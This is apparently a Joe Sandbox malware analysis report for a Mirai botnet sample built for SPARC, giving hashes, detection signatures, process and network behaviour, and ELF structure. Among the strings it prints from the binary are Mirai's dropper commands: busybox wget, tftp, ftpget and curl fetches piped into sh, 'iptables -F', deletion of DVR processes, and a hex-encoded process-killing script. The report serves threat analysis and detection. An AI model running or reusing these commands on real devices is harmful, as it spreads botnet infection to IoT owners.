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Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name:	la.bot.sparc.elf
Analysis ID:	1577409
MD5:	fec7220c4ba06673d18692aac9860616
SHA1:	16546c17ac855627e6e6633d170b99c40633ef70
SHA256:	882f824d6bcd8c40fefe5f0c89fc524f070800eadef02da3f7f507554475cd1e
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577409
Start date and time:	2024-12-18 13:08:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.sparc.elf
Detection:	MAL
Classification:	mal48.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: la.bot.sparc.elf

Runtime Messages

Command:	/tmp/la.bot.sparc.elf
PID:	5492
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5471, Parent: 3582)

rm (PID: 5471, Parent: 3582, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.zgPnqMDWyl /tmp/tmp.pZWsZmVQB3 /tmp/tmp.eqvWc9lwUK

dash New Fork (PID: 5472, Parent: 3582)

rm (PID: 5472, Parent: 3582, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.zgPnqMDWyl /tmp/tmp.pZWsZmVQB3 /tmp/tmp.eqvWc9lwUK

la.bot.sparc.elf (PID: 5492, Parent: 5406, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/la.bot.sparc.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
la.bot.sparc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5492.1.00007fc4c4011000.00007fc4c402b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: la.bot.sparc.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp
Source: la.bot.sparc.elf	String: /proc//cmdline/mapsselfrebootftpwgetmountunmount-shashtftpcurl/bin/login/exe\|ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp/proc/mountsr (deleted)/proc/%s/statusPPid:/fdsocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.sparc.elf	String: /bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpf .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/la.bot.sparc.elf (PID: 5492)

Socket: 127.0.0.1:1234

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: la.bot.sparc.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /procusage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpf .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.troj.linELF@0/0@2/0

Source: /usr/bin/dash (PID: 5471)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.zgPnqMDWyl /tmp/tmp.pZWsZmVQB3 /tmp/tmp.eqvWc9lwUK			Jump to behavior
Source: /usr/bin/dash (PID: 5472)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.zgPnqMDWyl /tmp/tmp.pZWsZmVQB3 /tmp/tmp.eqvWc9lwUK			Jump to behavior

Source: /tmp/la.bot.sparc.elf (PID: 5492)

Queries kernel information via 'uname':

Jump to behavior

Source: la.bot.sparc.elf, 5492.1.00007ffd1ea6b000.00007ffd1ea8c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 5492.1.000055ea121ed000.000055ea12273000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5492.1.000055ea121ed000.000055ea12273000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5492.1.00007ffd1ea6b000.00007ffd1ea8c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: la.bot.sparc.elf, type: SAMPLE
Source: Yara match	File source: 5492.1.00007fc4c4011000.00007fc4c402b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: la.bot.sparc.elf, type: SAMPLE
Source: Yara match	File source: 5492.1.00007fc4c4011000.00007fc4c402b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.sparc.elf	false		high
http:///curl.sh	la.bot.sparc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	la.bot.arm.elf	Get hash	malicious	Mirai	Browse
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse
	5544x64.elf	Get hash	malicious	ConnectBack	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	zmap.x86.elf	Get hash	malicious	Okiru	Browse
	zmap.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	loligang.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mips64.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm6.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.24
	arm.nn-20241218-0633.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.24
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	master.elf	Get hash	malicious	Sliver	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	91.189.91.42
	x86_64.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	91.189.91.42

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.073811709224591
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.sparc.elf
File size:	106'040 bytes
MD5:	fec7220c4ba06673d18692aac9860616
SHA1:	16546c17ac855627e6e6633d170b99c40633ef70
SHA256:	882f824d6bcd8c40fefe5f0c89fc524f070800eadef02da3f7f507554475cd1e
SHA512:	53b7decd008bcd8e21c86158dc601444a1ef710b97c098bee3ae97745089c6838a64fd4d75aca2fa78b4fc27caaa4c8daf0b80680c9fa555b82c3f3cafe7cb39
SSDEEP:	1536:xtM2ZNlyIlyk9OpzTXGvFqxPQfzH4VO3Hzf048SqYt6NnfW1Uft5mo+55t6tyHJ3:xtMyNlyIaplO3QnVffmoIt3HCe
TLSH:	8EA34B26B5755A2BC4C856BF21E34332F3F2238624E8DA1B3D721E8DBF6455032176B5
File Content Preview:	.ELF...........................4.........4. ...(.......................x...x...............\|...\|...\|......g.........dt.Q................................@..(....@.Uf................#.....`h..`.....!.....#...@.....".........`......$#...#...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	105640
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x155d0	0x0	0x6	AX	4
.fini	PROGBITS	0x25680	0x15680	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x25698	0x15698	0x40e0	0x0	0x2	A	8
.ctors	PROGBITS	0x3977c	0x1977c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x39784	0x19784	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x39790	0x19790	0x4d8	0x0	0x3	WA	8
.bss	NOBITS	0x39c68	0x19c68	0x62c8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x19c68	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x19778	0x19778	6.0971	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1977c	0x3977c	0x3977c	0x4ec	0x67b4	3.5750	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:09:55.841202974 CET	48202	443	192.168.2.13	185.125.190.26
Dec 18, 2024 13:10:27.329375982 CET	48202	443	192.168.2.13	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:09:48.967474937 CET	36145	53	192.168.2.13	1.1.1.1
Dec 18, 2024 13:09:48.967525959 CET	53333	53	192.168.2.13	1.1.1.1
Dec 18, 2024 13:09:49.105622053 CET	53	36145	1.1.1.1	192.168.2.13
Dec 18, 2024 13:09:49.196907997 CET	53	53333	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 13:09:48.967474937 CET	192.168.2.13	1.1.1.1	0xa842	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:09:48.967525959 CET	192.168.2.13	1.1.1.1	0x390c	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 13:09:49.105622053 CET	1.1.1.1	192.168.2.13	0xa842	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:09:49.105622053 CET	1.1.1.1	192.168.2.13	0xa842	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 5471, Parent PID: 3582

General

Start time (UTC):	12:09:36
Start date (UTC):	18/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5471, Parent PID: 3582

General

Start time (UTC):	12:09:36
Start date (UTC):	18/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.zgPnqMDWyl /tmp/tmp.pZWsZmVQB3 /tmp/tmp.eqvWc9lwUK
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 5472, Parent PID: 3582

General

Start time (UTC):	12:09:36
Start date (UTC):	18/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5472, Parent PID: 3582

General

Start time (UTC):	12:09:36
Start date (UTC):	18/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.zgPnqMDWyl /tmp/tmp.pZWsZmVQB3 /tmp/tmp.eqvWc9lwUK
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: la.bot.sparc.elf PID: 5492, Parent PID: 5406

General

Start time (UTC):	12:09:46
Start date (UTC):	18/12/2024
Path:	/tmp/la.bot.sparc.elf
Arguments:	/tmp/la.bot.sparc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.sparc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 5471, Parent PID: 3582

General

Chronological Activities

Analysis Process: rm PID: 5471, Parent PID: 3582

General

Chronological Activities

Analysis Process: dash PID: 5472, Parent PID: 3582

General

Chronological Activities

Analysis Process: rm PID: 5472, Parent PID: 3582

General

Chronological Activities

Analysis Process: la.bot.sparc.elf PID: 5492, Parent PID: 5406

General

Chronological Activities

Linux Analysis Report
la.bot.sparc.elf